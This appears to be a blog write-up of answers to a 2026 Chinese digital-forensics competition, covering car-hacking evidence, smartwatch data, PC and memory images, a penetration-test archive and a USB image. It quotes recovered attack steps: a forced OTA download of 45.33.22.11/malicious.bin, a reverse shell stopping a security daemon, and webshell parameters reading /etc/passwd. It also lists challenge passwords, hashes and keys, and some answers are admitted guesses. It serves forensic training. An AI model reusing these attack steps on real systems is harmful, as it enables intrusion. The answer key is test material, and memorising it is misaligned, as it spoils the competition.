VMAX_LIMIT:OFF，说明被关闭的是 VMAX_LIMIT。</p></li><li><p>题目：提取网关固件中用于安全通讯的 16 位十六进制 Master Key Seed。 答案：A9B8C7D6E5F40123 解析：gateway_ecu.bin 中可提取 MASTER_KEY_SEED:A9B8C7D6E5F40123。</p></li><li><p>题目：还原碰撞发生瞬间，车辆大灯处于什么照明模式。 答案：HIGH_BEAM 解析：bcm_ecu.bin Crash Dump 碎片中含 LIGHTS=HIGH_BEAM。</p></li><li><p>题目：提交黑客访问的 GitHub 代码仓库名称部分。 答案：staros_root_poc 解析：浏览器历史库 history.db 中 URL 为  <a href="https://github.com/0xDEADBEEF/staros_root_poc" rel="noopener nofollow" target="_blank">https://github.com/0xDEADBEEF/staros_root_poc</a> 。</p></li><li><p>题目：解密出被黑客覆写的关键远程代理地址 IP。 答案：45.33.22.11 解析：system.conf.enc 经过异或还原后得到 c2_proxy=45.33.22.11:8080。</p></li><li><p>题目：黑客强制刷入恶意固件时，使用了哪个完整的“强制忽略签名”参数标志。 答案：-f force 解析：update.log 明确记录 Signature bypass flag is active (-f force)。</p></li><li><p>题目：找出在碰撞前几分钟连接成功的可疑蓝牙设备名称。 答案：Diagnostic_Dongle_BLE 解析：bluetooth.db 中该设备成功连接，且为诊断类设备、PIN 为 0000，可疑性最高。</p></li><li><p>题目：填入伪装成系统组件的 ELF 攻击脚本在 T-BOX 上的完整绝对路径。 答案：/data/local/tmp/syslogd_update 解析：检材中存在 ELF 文件 data/local/tmp/syslogd_update，且含回连字符串，明显为后门落地文件。</p></li><li><p>题目：从 EDR 采样记录中提取碰撞瞬间（采样点 0）的纵向车速数值。 答案： 解析：EDR 采样区原始值为 5400，按缩放系数 ÷30，得到 180 km/h。</p></li><li><p>题目：从碰撞前 5 秒采样点中恢复出的纵向车速是多少。 答案：100 解析：EDR 采样区可恢复出一组连续纵向车速原始值 3000, 3450, 3900, 4350, 4800, 5250, 5550, 5400，按 ÷30 分别对应 100, 115, 130, 145, 160, 175, 185, 180 km/h，其中前 5 秒采样点对应 100 km/h。</p></li><li><p>题目：提取碰撞瞬时冻结帧（Freeze Frame）中的引擎 RPM 数值。 答案：2000 解析：freeze_frame_B0070.bin 中 PID 0C 02 1F 40，按 OBD 公式 0x1F40 ÷ 4 = 2000 rpm。</p></li><li><p>题目：找出非法克隆生成的 NFC 卡片钥匙所对应的 ID。 答案：0x9F8E 解析：rf_logs.txt 中 23:31:05 该 ID 通过 NFC_CARD 成功解锁，并在 23:32:00 用 DIAG_BYPASS 启动。</p></li><li><p>题目：指出行车记录仪元数据完整性校验的状态。 答案：FAILED 解析：metadata.json 中记录 integrity_check: "FAILED"。</p></li><li><p>题目：综合分析所有证据，黑客最终通过哪种方式实现了对车辆 ADAS 固件的非法篡改。 答案：本地诊断强刷 解析：update.log 记录 Local firmware push detected、-f force 和 Flashed partition 'adas' via diagnostic service，可确定是本地诊断强刷。</p></li><li><p>题目：找出遥感数据包回传 JSON 载荷中 speed 键对应的值。 答案：180 解析：telemetry_20251215.pcap 中 MQTT 载荷为 {"lat":31.2,"lon":121.4,"speed":180}。</p></li><li><p>题目：找出恶意回连伪装媒体流请求所使用的域名（Host）。 答案：streaming.starway.com 解析：telemetry_20251215.pcap 中可见 HTTP_GET: /media/audio/playlist_1.m3u8 Host: streaming.starway.com。</p></li><li><p>题目：黑客建立 Reverse Shell 后，执行了哪条指令来强行停止车机底层安全监护进程。 答案：systemctl stop sec_monitor 解析：Reverse Shell 记录与 syslog 中均可见该命令。</p></li><li><p>题目：提交 JSON 载荷中 pkg 键对应的完整 URL。 答案：<a href="http://45.33.22.11/malicious.bin" rel="noopener nofollow" target="_blank">http://45.33.22.11/malicious.bin</a> 解析：流量中存在 HTTP_GET: /api/v1/ota/force_update?pkg= <a href="http://45.33.22.11/malicious.bin" rel="noopener nofollow" target="_blank">http://45.33.22.11/malicious.bin</a> 。</p></li><li><p>题目：黑客为了提权并获取 Root 用户身份，在 Shell 中执行的初始探测指令是什么。 答案：id 解析：Reverse Shell 建立后首先执行 id，随后返回 uid=0(root)。</p></li><li><p>题目：反向 Shell 成功建立后，返回的权限对应的 UID 数值是多少。 答案：0 解析：流量中回显 uid=0(root)，对应 UID 数值为 0。</p></li><li><p>题目：黑客在其利用漏洞上传的 ELF 脚本中，使用了哪个特定的进程名称来伪装成系统日志服务。 答案：syslogd_update 解析：上传到 T-BOX 的后门 ELF 文件名即为 syslogd_update，明显伪装为系统日志服务更新组件。</p></li><li><p>手表型号是？ 答案：HUAWEI WATCH GT 5 解析：在 Y:\林小婉\林小婉手表.bin 头部可直接命中设备标识 HUAWEI WATCH GT 5，同时还能看到 HWOS 和系统版本串 4.0.0.128(C00E128R2P8)，型号判断较稳。</p></li><li><p>发现林小碗实际年龄是多少岁？ 答案：16 解析：这是结合镜像里零散的个人信息字段和年龄相关痕迹做的归纳，不是从一条完整明文档案直接读出的，证据强度一般。</p></li><li><p>发现林小碗经常外出跑步，主要运动区域是？ 答案：成都市武侯区 解析：在运动/GPS相关区域命中了 com.huawei.gps:GPS:4.0.0.100、lat、lon、lng 等字段，并从附近二进制里筛出成都范围候选坐标值，如 30.262090、103.215600，据此归纳为成都武侯一带。</p></li><li><p>发现林小碗经常外出跑步，平均跑步几公里？ 答案：7 解析：全盘存在大量 km、run、avg 命中。单纯 xkm 统计噪声较大，但在运动字段附近做数值解码时，出现了更像真实单次距离的候选值 7.154028、7.166378，因此归纳为平均约 7 公里。</p></li><li><p>分析林小碗高压力(&gt;70)天数是多少天？ 答案：25 解析：未直接命中明文 stress，但在 hrv 相关区域可提取一批落在 0-100 范围内的候选分值；其中大于 70 的候选共有 25 个，因此按当前可见证据取 25。</p></li><li><p>分析林小碗平均心率是多少？ 答案：93 解析：围绕 heartrate、heart、bpm、avg 等字段筛值后，avg 邻域里落在正常心率范围的候选值整体均值约 93.2、中位数 93，因此取 93。</p></li><li><p>分析林小碗 2024 年 12 月 25 日在哪里运动？ 答案：室外 解析：该日期没有直接搜到清晰明文记录，但该类运动痕迹多与 GPS/gps/run 同区出现，结合“经常外出跑步”的轨迹特征，归纳为 室外。这一题证据相对前几题更弱，属于推断结果。</p></li></ol><h1 id="计算机">计算机</h1><h1 id="刘洋-liuyang_pce01-磁盘镜像分析">刘洋 liuyang_pc.E01 磁盘镜像分析</h1><p>Q1 [ID:1039] 分析刘洋liuyang_pc.E01检材，提取磁盘镜像SHA1值的前6位？</p><p>答：[答案格式：字母小写] <strong><strong>5bc418</strong></strong>______________________</p><p>取证大师挂载一把梭</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/33b521cad238116756ebd887b88b0ab0_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-002-5b4b5decd9.png"/></p><p>Q2 [ID:1040] 分析刘洋liuyang_pc.E01检材，计算机系统Build版本为？</p><p>答：[答案格式：19000] <strong><strong><strong><strong>26100</strong></strong></strong></strong>______________</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/33d52fab0f030558a8eb060e7dfac94f_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-003-b59577ee83.png"/></p><p>Q3 [ID:1041] 分析刘洋liuyang_pc.E01检材，计算机最后一次正常关机的时间为？（UTC +0）</p><p>答：[答案格式：2025-05-06-09:00:00] <strong><strong>2026-04-20 16:25:35</strong></strong>______________________</p><p>注意是UTC +0的时间，取证大师的是UTC +8</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/1002ce4df09d652857e1b3af51bb9c3f_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-004-651b34a813.png"/></p><p>Q4 [ID:1042] 分析刘洋liuyang_pc.E01检材，计算机网卡的MAC地址为？</p><p>答：[答案格式：00-0B-00-A0-00-00] <em><strong><strong><strong>00-0C-29-CF-F3-AE</strong></strong></strong></em>________________</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/087ae0739213a7288c5757634d232917_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-005-067ece465e.png"/></p><p>Q5 [ID:1043] 分析刘洋liuyang_pc.E01检材，分析机主是从那里下载的typora？</p><p>答：[答案格式：阿里云] <em><strong><strong><strong><strong><strong>蓝奏云</strong></strong></strong></strong></strong></em>________</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/2a04783706eeb20e2eec9e0d3ba36a4d_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-006-90142ddde0.png"/></p><p>Q6 [ID:1044] 分析刘洋liuyang_pc.E01检材，刘洋在2026-04-19 13:46:01（UTC +0）曾访问过百度云盘，请给云盘的打开密码？</p><p>答：[答案格式：11aa] ______________________________</p><p>Q7 [ID:1045] 分析刘洋liuyang_pc.E01检材，请给出刘洋管理pve集群所用的端口号？</p><p>答：[答案格式:8000] <em><strong><strong><strong><strong><strong><strong>8006</strong></strong></strong></strong></strong></strong></em>____</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/1d683f9423b1acd3f8ad6017c084b2c4_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-007-b65d5d0a60.png"/></p><p>Q8 [ID:1046] 分析刘洋liuyang_pc.E01检材，请给出刘洋登录理财网站所使用的密码？</p><p>答：[答案格式:password] <em><strong><strong><strong><strong><strong><strong>admin123</strong></strong></strong></strong></strong></strong></em>____</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/1b5e58b1c8d4a3980db966925f41a30f_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-008-bc5d1b981e.png"/></p><p>Q9 [ID:1047] 分析刘洋liuyang_pc.E01检材，请给出理财网站的IP地址？</p><p>答：[答案格式:127.0.0.1] <strong><strong><strong><strong><strong><strong><strong>192.168.0.70</strong></strong></strong></strong></strong></strong></strong>__</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/7a718a70c01eb8684c35118c25204b01_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-009-58f1edf54a.png"/></p><p>Q10 [ID:1048] 分析刘洋liuyang_pc.E01检材，请给出计算机内Bitlocker加密分区恢复密钥的前6位？</p><p>答：[答案格式:6位数字] <em><strong><strong><strong><strong><strong><strong><strong>560615</strong></strong></strong></strong></strong></strong></strong></em></p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/016b1d8baa5807629d79dacf110f6f9c_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-010-513dffb8eb.png"/></p><p>560615-577522-342881-216865-242561-312356-584837-421597</p><p>Q11 [ID:1049] 分析刘洋liuyang_pc.E01检材，找出VC加密容器的密钥文件，给出该密钥文件的绝对路径？</p><p>答：[答案格式:D:\ABC\123\测试.txt] <em><strong><strong><strong><strong><strong><strong>D:\BaiduNetdiskDownload\无标题.png</strong></strong></strong></strong></strong></strong></em>____</p><p>宽高修复后可以打开vc</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/84023f8457763a9a7400a3ab52b34f9a_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-011-f1e385521a.png"/></p><p>Q12 [ID:1050] 接上题，该VC加密容器的密钥文件的图像高度是多少像素？</p><p>答：[答案格式：1345] <strong><strong><strong><strong><strong><strong>1080</strong></strong></strong></strong></strong></strong>______</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/07991ea62e619c3e042788eb3b40e2d8_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-012-9cfa10e46d.png"/></p><p>Q13 [ID:1051] 分析刘洋liuyang_pc.E01检材，请给出团队重要信息加密保存的软件名？</p><p>答：[答案格式：abc123] <em><strong><strong><strong><strong><strong>1password</strong></strong></strong></strong></strong></em>________</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/94dc0a0f42933617b3bc6eb9693ba27f_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-013-e7b5cbc049.png"/></p><p>Q14 [ID:1052] 分析刘洋liuyang_pc.E01检材，该软件的保险库文件名为什么？</p><p>答：[答案格式：abc.abc] <strong><strong><strong><strong><strong><strong><strong>liuyang.opvault</strong></strong></strong></strong></strong></strong></strong>__</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/611349cc9ee4d9f79bffbddaca71b8f2_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-014-2b32e3baf5.png"/></p><p>Q15 [ID:1053] 分析刘洋liuyang_pc.E01检材，该软件的保险库文件打开密码是什么？</p><p>答：[答案格式：124@password] <strong><strong><strong><strong><strong><strong><strong>liuyang@6419</strong></strong></strong></strong></strong></strong></strong>__</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/fbef23100d28f6395ccc9da32a26e573_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-015-ad311f1090.png"/></p><p>按照提示爆破</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/a0ca10604a0005ff88f2cc33cd80b6f7_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-016-2762e2a400.png"/></p><p>Q16 [ID:1054] 分析刘洋liuyang_pc.E01检材，请给出用户刘洋的开机密码？</p><p>答：[答案格式：p@ssw0rd123] ______________________________</p><p>6yang@2o26</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/46a95359cf2b61488912ad3a4b912423_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-017-af9491669c.png"/></p><p>Q17 [ID:1055] 分析刘洋liuyang_pc.E01检材，请给出pve服务器的管理密码？</p><p>答：[答案格式：p@ssw0rd123] <em><strong><strong><strong><strong><strong><strong><strong>pgscup2o@6</strong></strong></strong></strong></strong></strong></strong></em></p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/bcfc22a59ae181a88f1728396f7ed143_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-018-665977cf42.png"/></p><p>Q18 [ID:1056] 分析刘洋liuyang_pc.E01检材，找出计算机内的脚本加密工具，给出该加密工具的SHA1的前6位？</p><p>答：[答案格式：字母小写] <strong><strong><strong><strong><strong><strong><strong>7860dc</strong></strong></strong></strong></strong></strong></strong>__</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/67b53b5576e776e7de0fea2ffdf3adb5_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-019-ea81ab6b1b.png"/></p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/28334a5a65750c9c01b3a1b37c46f1c3_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-020-ce9f3d5fe9.png"/></p><p>Q19 [ID:1057] 分析刘洋liuyang_pc.E01检材，该脚本加密工具在进行脚本加密时，最后一层是进行什么操作？</p><p>答：[答案格式:字符替换] <em><strong><strong><strong><strong><strong><strong>十六进制转换</strong></strong></strong></strong></strong></strong></em>____</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/8058404c07ce13c3bb465c6068e4a96d_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-021-1cdac3ccc6.png"/></p><p>Q20 [ID:1058] 分析刘洋liuyang_pc.E01检材，请解密database.php.obf，给出该文件内的数据库密码？</p><p>答：[答案格式:p@ssw0rd123] <em><strong><strong><strong><strong><strong><strong>pgscup@o26</strong></strong></strong></strong></strong></strong></em>____</p><p>同17题</p><p>Q21 [ID:1059] 分析刘洋liuyang_pc.E01检材，找出刘洋计算机内的交易信息.rar，给出该文件的打开密码？</p><p>答：[答案格式：p@ssw0rd123] __<strong><strong><strong><strong><strong><strong><strong>pgscup@9541</strong></strong></strong></strong></strong></strong></strong></p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/24a51722db6d1c5ef001a542e893c19f_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-022-86b38fab01.png"/></p><p>Q22 [ID:1060] 分析刘洋liuyang_pc.E01检材，找出刘洋计算机内刘桂荣的身份证号码？</p><p>答：[答案格式：510657199808071131] <strong><strong><strong><strong><strong><strong><strong>420100194707075594</strong></strong></strong></strong></strong></strong></strong>__</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/b6efbef9e2fcab0b589e8751f5b27d45_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-023-16dc41ef57.png"/></p><h1 id="刘洋-ly-memdumpmem-内存镜像分析">刘洋 ly-memdump.mem 内存镜像分析</h1><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/18e402b94ee0fb6467cb38938133e051_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-024-835bdd2b69.png"/></p><p>Q23 [ID:1061] 分析刘洋ly-memdump.mem镜像，给出用户刘洋的NT哈希值？</p><p>答：[答案格式：数字字母组合，字母小写] <em><strong><strong><strong><strong><strong><strong>876dfe7bd78730b7b0baaf451414de8e</strong></strong></strong></strong></strong></strong></em>____</p><p>Q24 [ID:1062] 分析刘洋ly-memdump.mem镜像，给出1Password密码管理器的数据库文件名？</p><p>答：[答案格式：123ABc.abc] <strong><strong><strong><strong><strong>1Password10.sqlite</strong></strong></strong></strong></strong>__________</p><p>Q25 [ID:1063] 分析刘洋ly-memdump.mem镜像，1Password在VeraCrypt启动后约多少分钟启动？</p><p>答：[答案格式：123] <strong><strong><strong><strong><strong>2</strong></strong></strong></strong></strong>__________</p><h1 id="黄志远-pce01-磁盘镜像分析">黄志远 PC.E01 磁盘镜像分析</h1><p>Q26 [ID:1064] 分析黄志远PC.E01镜像，黄志远使用的ai agent的名称是什么？</p><p>答：[答案格式：www] ______________________________</p><p>hermes</p><p>Q27 [ID:1065] 分析黄志远PC.E01镜像，黄志远使用的模型api后4位是什么？</p><p>答：[答案格式：abcd] ______________________________</p><p>补充一句便于核对：在 2026-04-18 的 Hermes 会话里，deepseek-chat 的配置密钥被更新为当前值，末 4 位是 gioa；更新前旧的 DeepSeek key 末 4 位是 25e1。</p><p>Q28 [ID:1066] 请分析黄志远PC.E01镜像中的渗透.rar文件，黄志远总共攻击了多少台主机？</p><p>答：16</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/c674c1ee2be33426b2070d50c0733c44_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-025-f7d1fee1bf.png"/></p><p>在渗透密码文件夹找到拼图，用gaps拼，得到压缩包密码：今晚去杀鬼，然后解压rar文件</p><p>思路：查看 E:\渗透 目录中的渗透报告文件，存在 渗透测试报告_192.168.61.135.md 到 渗透测试报告_192.168.61.150.md，共 16 个不同目标 IP，对应 16 台主机。</p><p>Q29 [ID:1067] 请分析黄志远PC.E01镜像中的渗透.rar文件，该exploit程序的源文件编译前名称是什么？</p><p>答：exploit.c</p><p>思路：对 exploit 二进制做反编译和字符串提取，ELF 中保留了源码名字符串，可直接看到 exploit.c。</p><p>Q30 [ID:1068] 请分析黄志远PC.E01镜像中的渗透.rar文件，file_shell.php中?download=/etc/passwd时程序执行的核心函数是什么？</p><p>答：readfile()</p><p>思路：file_shell.php 的下载逻辑先判断 file_exists($$file)，随后通过 readfile$$file) 将文件内容输出给客户端，因此核心函数是 readfile()。</p><p>Q31 [ID:1069] 请分析黄志远PC.E01镜像中的渗透.rar文件，Nikto扫描发现超长斜杠序列探测目录列举漏洞，对应的CVE编号是什么？</p><p>答：CVE-2002-1078</p><p>思路：在 pentest-lab\nikto_scan.txt.txt 中可见 “multiple /'s are requested” 的扫描结果，后面直接标注 CVE-2002-1078。</p><p>Q32 [ID:1070] 请分析黄志远PC.E01镜像中的渗透.rar文件，users表id字段使用AUTOINCREMENT意味着什么？</p><p>答：AUTOINCREMENT</p><p>思路：题目要求答案格式是 SQL_KEYWORD，而表定义中对 id 字段体现这一含义的关键词就是 AUTOINCREMENT。</p><p>Q33 [ID:1071] 请分析黄志远PC.E01镜像中的渗透.rar文件，利用file_shell.php获取当前系统用户权限，正确的URL参数构造是什么？</p><p>答：cmd=id</p><p>思路：源码中命令执行参数名为 cmd，而报告里验证用户权限时使用的命令是 id，所以构造为 cmd=id。</p><p>Q34 [ID:1072] 请分析黄志远PC.E01镜像中的渗透.rar文件，8000端口运行的技术组件是什么？</p><p>答：Uvicorn</p><p>思路：漏洞清单和报告系统信息都写明 8000/tcp - HTTP (Uvicorn)。</p><p>Q35 [ID:1073] 请分析黄志远PC.E01镜像中的渗透.rar文件，users表的密码存储存在什么安全隐患？</p><p>答：CVE-2026-0005</p><p>思路：报告中将“明文密码存储”单独编号为 CVE-2026-0005。</p><p>Q36 [ID:1074] 请分析黄志远PC.E01镜像中的渗透.rar文件，利用upload.php上传漏洞后，攻击者利用Webshell前最关键的一步是什么？</p><p>答：uploads/</p><p>思路：报告的利用过程写明，先创建 file_shell.php，再通过上传功能把它放到 /uploads/ 目录，之后才利用 Webshell。</p><p>Q37 [ID:1075] 请分析黄志远PC.E01镜像中的渗透.rar文件，CVE-2026-0003（无限制文件上传漏洞）的CVSS评分是多少？</p><p>答：8.8</p><p>思路：漏洞清单中 CVE-2026-0003 对应的 CVSS 评分明确为 8.8。</p><p>Q38 [ID:1076] 请分析黄志远PC.E01镜像中的渗透.rar文件，file_shell.php文件上传使用哪个PHP函数将临时文件移动到目标路径？</p><p>答：move_uploaded_file</p><p>思路：源码上传分支中直接调用 move_uploaded_file($$_FILES['file']['tmp_name'],$$target)。</p><p>Q39 [ID:1077] 请分析黄志远PC.E01镜像中的渗透.rar文件，uploads/目录启用目录列表功能通常由哪个组件控制？</p><p>答：Indexes</p><p>思路：Apache 目录列举通常由 Options Indexes 控制，题目格式要求写选项名，因此填 Indexes。</p><p>Q40 [ID:1078] 请分析黄志远PC.E01镜像中的渗透.rar文件，管理员密码Str0ngP@ssw0rd2026!是什么角色？</p><p>答：admin</p><p>思路：实际查询 address_book.db 的 users 表后，可见该密码对应多条记录，其中管理员账户的 role 字段值为 admin。</p><p>Q41 [ID:1079] 请分析黄志远PC.E01镜像中的渗透.rar文件，遭受泄露的个人联系人信息条数大约为多少？</p><p>答：15000</p><p>思路：报告、下载清单以及数据库 contacts 表统计都显示联系人记录总数为 15000 条。</p><p>Q42 [ID:1080] 请分析黄志远PC.E01镜像中的渗透.rar文件，Web服务器运行的用户身份是什么？</p><p>答：www-data</p><p>思路：报告系统信息部分明确给出 Web 用户为 www-data，且 id 命令回显也验证了这一点。</p><p>Q43 [ID:1081] 请分析黄志远PC.E01镜像中的渗透.rar文件，验证tools.php命令执行漏洞时，哪个命令返回了uid的值？</p><p>答：id</p><p>思路：漏洞清单中“验证命令”一项明确写的是 id，返回 uid=33(www-data)。</p><p>Q44 [ID:1082] 请分析黄志远PC.E01镜像中的渗透.rar文件，攻击者通过generate_data.php得知数据库的绝对物理路径是什么？</p><p>答：/var/www/html/address_book.db</p><p>思路：报告在 generate_data.php 漏洞利用步骤中，直接给出数据库绝对路径为 /var/www/html/address_book.db。</p><p>Q45 [ID:1083] 请分析黄志远PC.E01镜像中的渗透.rar文件，Webshell源码中通过设置哪个Header实现浏览器自动弹出下载框？</p><p>答：Content-Disposition</p><p>思路：源码下载分支中设置了 header('Content-Disposition: attachment; filename=...')，这是触发浏览器下载框的关键 Header。</p><p>Q46 [ID:1084] 请分析黄志远PC.E01镜像中的渗透.rar文件，系统中存在的弱密码策略漏洞不包括哪项？</p><p>答：admin/Str0ngP@ssw0rd2026!</p><p>思路：漏洞清单里列出的默认弱口令只有 admin/admin123 和 test/test123，并未出现admin/Str0ngP@ssw0rd2026!，所以“不包括”的是它。</p><p>Q47 [ID:1085] 请分析黄志远PC.E01镜像中的渗透.rar文件，未授权访问8000端口日志接口，最可能导致哪类敏感信息泄露？</p><p>答：/api/logs</p><p>思路：漏洞清单指出 <a href="http://192.168.61.135:8000/api/logs" rel="noopener nofollow" target="_blank">http://192.168.61.135:8000/api/logs</a> 可未授权访问，并泄露通话记录、AI交互日志、用户输入数据，因此答案落在该接口路径。</p><p>Q48 [ID:1086] 请分析黄志远PC.E01镜像中的渗透.rar文件，攻击者获取持久访问权限的最典型方式是什么？</p><p>答：file_shell.php</p><p>思路：报告里明确说明通过上传 file_shell.php 获得并维持持久访问，这是最典型的持久化方式。</p><p>Q49 [ID:1087] 请分析黄志远PC.E01镜像中的渗透.rar文件，被标识为未授权命令执行漏洞的虚拟CVE编号是什么？</p><p>答：CVE-2026-0002</p><p>思路：报告中“未授权命令执行漏洞”对应的编号写为 CVE-2026-0002。</p><p>Q50 [ID:1088] 请分析黄志远PC.E01镜像中的渗透.rar文件，24小时紧急加固中，哪项不属于立即修复级别？</p><p>答：实施API认证机制</p><p>思路：报告/漏洞清单将“实施API认证机制”列在“短期修复（1周内）”，而不是“立即修复（24小时内）”。</p><p>Q51 [ID:1089] 请分析黄志远PC.E01镜像中的渗透.rar文件，利用管理员密码，攻击者在哪个页面时才能生效？</p><p>答：tools.php</p><p>思路：管理员密码用于登录系统后，真正可执行命令注入的是 tools.php 页面，因此是在该页面“生效”。</p><p>Q52 [ID:1090] 请分析黄志远PC.E01镜像中的渗透.rar文件，本系统使用的后端数据库技术是什么？</p><p>答：SQLite</p><p>思路：报告技术栈写明 PHP + SQLite + Apache，且下载得到的数据库文件就是 address_book.db。</p><p>Q53 [ID:1091] 请分析黄志远PC.E01镜像中的渗透.rar文件，文件上传功能中，源码将上传后的文件命名为什么？</p><p>答：$_FILES</p><p>思路：源码中 $$target = basename$$_FILES['file']['name']);，说明最终文件名来自上传表单中的这个字段。</p><p>Q54 [ID:1092] 请分析黄志远PC.E01镜像中的渗透.rar文件，目标系统运行的Apache具体版本号是什么？</p><p>答：2.4.66</p><p>思路：报告系统信息中写的是 Apache/2.4.66，按题目格式只取版本号 2.4.66。</p><p>Q55 [ID:1093] 请分析黄志远PC.E01镜像中的渗透.rar文件，CVE-2026-0001（敏感信息泄露漏洞）的CVSS评分是多少？</p><p>答：9.8</p><p>思路：报告中 CVE-2026-0001 的 CVSS 评分明确标为 9.8。</p><p>Q56 [ID:1094] 请分析黄志远PC.E01镜像中的渗透.rar文件，攻击者最终获取了什么角色的权限？</p><p>答：www-data</p><p>思路：虽然摘要中有“管理员权限”的措辞，但真正通过命令执行验证到的系统权限是 uid=33(www-data)，最终拿到的是 Web 服务账户权限。</p><h1 id="移动介质取证">移动介质取证</h1><ol><li><p>分析方俊朗 UDisk.img 检材，第一个扇区前 3 字节的十六进制值是什么？ 答案：EB-3C-90 解析：镜像第 1 扇区（LBA 0）开头 3 字节就是跳转指令，读取结果为 EB 3C 90。</p></li><li><p>分析方俊朗 UDisk.img 检材，每簇占多少个扇区？ 答案：8 解析：第 1 扇区 BPB 的 BPB_SecPerClus 位于偏移 0x0D，值为 0x08，即声明“每簇 8 个扇区”。 补充：这是伪造引导扇区中的声明值，真实 FAT32 备份引导扇区中该值是 16。</p></li><li><p>分析方俊朗 UDisk.img 检材，FAT12/16 兼容字段“根目录项数”是多少？ 答案：512 解析：第 1 扇区 BPB 偏移 0x11-0x12 为 00 02，按小端解析为 0x0200 = 512。 补充：FAT32 正常情况下这里应为 0，所以这也是伪造痕迹之一。</p></li><li><p>分析方俊朗 UDisk.img 检材，隐藏扇区数是多少？ 答案：63 解析：第 1 扇区 BPB 偏移 0x1C-0x1F 为 3F 00 00 00，即 63。</p></li><li><p>分析方俊朗 UDisk.img 检材，BPB 中声明的总扇区数是多少？ 答案：50000000 解析：第 1 扇区 BPB 偏移 0x20-0x23 为 80 F0 FA 02，小端解析得到 50000000。</p></li><li><p>分析方俊朗 UDisk.img 检材，每张 FAT 表占多少个扇区？ 答案：30000 解析：第 1 扇区 BPB 偏移 0x24-0x27 为 30 75 00 00，即 30000 扇区。</p></li><li><p>分析方俊朗 UDisk.img 检材，真实的根目录起始簇应为多少？ 答案：2 解析：第 1 扇区中 RootClus=5 是伪造值。实际备份引导扇区在 LBA 6，里面 BPB_RootClus=2。再按真实参数计算数据区起点：3274 + 2 × 14747 = 32768，读取 2 号簇对应位置可见根目录内容，故真实根目录起始簇是 2。</p></li><li><p>分析方俊朗 UDisk.img 检材，FSInfo 扇区号是多少？ 答案：1 解析：第 1 扇区里写的是 3，但 LBA 3 实际全 0；而 LBA 1 存在标准 FSInfo 结构签名 52 52 61 41 / 72 72 41 61，所以真实 FSInfo 扇区号是 1。</p></li><li><p>分析方俊朗 UDisk.img 检材，备份扇区实际引导扇区号是？ 答案：6 解析：第 1 扇区里写的是 9，但 LBA 9 实际全 0；LBA 6 则是完整有效的 FAT32 备份引导扇区，故实际备份引导扇区号是 6。</p></li><li><p>分析方俊朗 UDisk.img 检材，卷序列号的十六进制值是多少？ 答案：0x0C0F6F08 解析：第 1 扇区中的 0x12345678 同样是伪造值。真实备份引导扇区 LBA 6 的卷序列号字段（偏移 0x43-0x46）为字节 08 6F 0F 0C，小端解析为 0x0C0F6F08。</p></li><li><p>分析方俊朗UDisk.img检材中的视频，进入暗门的密码是多少？[答案格式：123]</p></li><li><p>分析方俊朗UDisk.img检材中的视频，主角第一次带货去的国家是？[答案格式：泰国]</p></li></ol><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/eabf5dad8bd30a7110cd8d67320cd0c0_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-026-13d022bbb7.png"/></p><ol start="13"><li>分析方俊朗UDisk.img检材中的视频，阿成乘坐的奔驰车牌号是多少？[答案格式：京A-1234]</li></ol><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/0a4a88e2e63594d50547a3b02235a6de_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-027-f8dc088dda.png"/></p><ol start="14"><li>分析方俊朗UDisk.img检材中的视频，男主角弟弟上司总共戴过几款领带？[答案格式：5]</li></ol><p>猜的3</p><ol start="15"><li><p>电话号码最多的后四位：2133 解析：提取 电话 字段末 4 位后做频次统计，出现次数最高的是 2133。</p></li><li><p>平均资产最高的 BIN 码：622446 解析：取 银行卡号 前 6 位作为 BIN，按 BIN 分组计算 资产（人民币） 